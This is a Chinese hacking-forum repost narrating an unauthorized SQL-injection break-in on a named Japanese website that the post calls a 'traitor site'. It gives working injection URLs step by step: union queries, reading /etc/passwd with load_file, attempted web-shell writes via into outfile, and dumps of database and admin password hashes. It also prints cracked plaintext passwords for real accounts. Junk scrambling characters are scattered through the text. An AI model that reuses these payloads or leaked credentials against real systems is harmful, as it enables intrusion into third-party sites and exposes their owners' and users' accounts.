原创 检测汉奸站全过程

xiancda

补：www.zuaa.jp测试

& e# K" d$ e  h( t' \! c0x01. 检测 www.zuaa.jp 收集数据

$ H3 J' n7 \3 y2 M# @
whatweb

4 L# \! V- U) o% i; B# a* s
* E/ c" G1 W; K& T8 g$ E, |0 g3 _利用NMAP扫描

中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
: H) j" q4 Z5 k9 u  x4 C# ~0x02.找注入点
$ j0 m; m+ m$ V; V找注入点：http://www.zuaa.jp/php/newsdetail.php?topic_id=390
7 e' C" W- {8 \, G- Q0 e5 R
! f: ]3 X3 r. p* [% J, a9 w/ U
% @( Q- h0 X* J, l/ i0x03.order by
4 z, S7 L4 i% l* T) a) |) L             http://www.zuaa.jp/php/newsdetail.php?topic_id=390 order by 1

order by 28报错，order by 27正常

0x04.   union手动查询
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
1 z; b: ]; w0 M添加到 27 时正常显示

) H/ M3 v" }+ \) e  g中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

+ W' h* r( W( i; }/ s0x05. info:
8 Z' y! y* F( |* u. G! m7 Jhttp://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,group_concat(user(),0x3a,database(),0x3a,version(),0x3a,@@version_conpile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

. j2 J$ f) W% N- Xuser:            root@localhost
database:    openpne
: l; R" |( h, Q" f$ }) |version:      4.1.22
: Q- z5 b( k4 D$ T% |5 H7 ^# f4 `os:             portbld-freebsd5.4
) {. b& k1 ]9 ]. ]: f: n7 I
0x06. root用户
; T, M) ^9 E' j% V4 u  X# q7 r3 g' b利用 load_file(0x...), 读文件 (/etc/passwd), 也可以这样 hex(load_file(0x.....)), 然后把得到的 hex ,再转换成字符的（这种方法， 可以过大多数站）
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,hex(load_file(0x2f6574632f706173737764)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
4 x0 Y5 b  S/ p0 x* o" C. f% ]
8 l5 U6 s, [+ p/ l3 l* z7 W: X通过工具转换

中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

0x07. 利用 into outfile
全部都失败
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/zuaa_tech/WEBSITE/htdocs/php/help.php

/ P2 D5 |9 E" y9 S8 K8 vhttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/qian/OpenPNE/lib/help.php
: a2 c- T4 s2 X% `$ x' T3 G
. H8 J$ t3 W6 {页面显示“MDB2 Error:syntax error”
  I6 C9 C- n+ z% S; G+ L( J1 K. h, x4 |
# F3 L( a  Q+ K0x08. 利用 mysql 4.1
& N% J3 y+ }! e7 L/ ^猜常规表名，字段未果 工具 sqlmap
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
2 G. b6 ~7 {) O0 y) ^' V( ^2 C
, Q- G0 C( @& Q

1 G. y: j7 o' \; d  z& d$ V' c) C0x09. 查找后台
1 _$ E2 I# K( R. h利用 现有的各种 后台工具尝试都不行

5 D) V# j) v* s: A0x10.  MySL外联方法
; `1 w8 }& {9 S0 R9 P从前面 nmap 收集的信息当中，可以看到开了 mysql 3306 端口 ,尝试得 mysql 用户各密码，然后再通过 mysql 工具外连 www.zuaa.jp 不行
. f8 @9 P6 O' ?0 _可以利用 mysql ( 4.x 5.) 自带的定义表 mysql.user
% I9 n, p5 ]! ?% Y& W; B# Z3 chttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(user,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user
9 t1 F. M) N* o9 C! P) L4 X& r3 S
这个可以在 www.cmd5.com 解密
root:*3711D518F2924AEFA6F4C6B4B7425CAE8BEB88AB zuaa2009
" A- @5 i. @$ y8 }chen:*2A09A939E6B654877DD70B00EA631D1007E58CC9 silkroad97
# t" d- b; f- t, xopenpne:*5D80C62EC4D258534F 07D08CCE9CE27DFF26A366 ???
+ H6 G$ c' O/ p  q7 ?7 H5 X# ^zuaa:*5D80C62EC4D258534F07D08CCE9CE27DFF26A366 ???
工具外连失败，据说防火墙策略只允许特定IP外连，具体不得知
: {6 ~/ h8 [& n, f- K; _

0x11. 网站突破
发现网站的源程序 openpne, google 下载 openpne 源码
& M; e: E7 A% V

0x12. 默认信息利用
http://sns.zuaa.jp/?m=admin&a=page_login

表名 (c_admin_user) ，字段名（username,password）
% F  s' [/ _' G1 `; o) Vhttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+c_admin_user

3 {6 O: R$ o- b( U" e1 D" ?8 |解密
zuaa_tech:dd041e2 b1b8ecee164a6cb196a496eda,               zuaa2009
zuaajp:c0923ec5857796a393da99905008c176,          zju1897
) G9 L: o( r; h) l5 j# _' G/ f
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

0x13. 登录后台


$ j/ m9 I+ ~  z4 N( E$ o) N
0x14. 小结
( T/ ?6 L6 J0 L4 i利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 。
- A6 a( p6 S7 I+ J感谢群 ---- 渗透 -酷帅王子 提供注入点 提供注入点
------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- -------------------------------------------------------By DarkRain
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
/ p3 n6 j' K$ y' W
最后声明：本人只负责了整理上传到论坛，让大家学习，不是原作者，原作者辛苦了！
& d7 N& \+ |, O4 y# O

荒村狂客

哪个牛人 费的这劲 入侵的